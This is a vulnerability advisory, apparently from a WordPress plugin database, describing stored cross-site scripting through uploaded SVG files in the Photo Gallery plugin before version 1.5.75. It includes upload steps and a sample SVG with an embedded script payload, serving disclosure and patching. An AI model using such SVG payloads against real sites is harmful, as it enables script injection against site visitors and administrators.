WordPress Plugin Vulnerabilities

Photo Gallery < 1.5.75 - Stored Cross-Site Scripting via Uploaded SVG

Description

The plugin did not ensure that uploaded SVG files added to a gallery do not contain malicious content. As a result, users allowed to add images to gallery can upload an SVG file containing JavaScript code, which will be executed when accessing the image directly (ie in the /wp-content/uploads/photo-gallery/ folder), leading to a Cross-Site Scripting (XSS) issue

Proof of Concept

When editing or creating a gallery, Click 'Add Images' then 'Upload Files' and upload an SVG with JavaScript code, then access the uploaded image from the uploads folder directly, e.g https://example.com/wp-content/uploads/photo-gallery/xss.svg

Example of malicious SVG:
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">alert(document.domain);</script>
</svg>

Affects Plugins

Fixed in 1.5.75

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
avolume
Verified
Yes

Timeline

Publicly Published
2021-07-18 (about 2 years ago)
Added
2021-07-19 (about 2 years ago)
Last Updated
2022-04-12 (about 2 years ago)

Other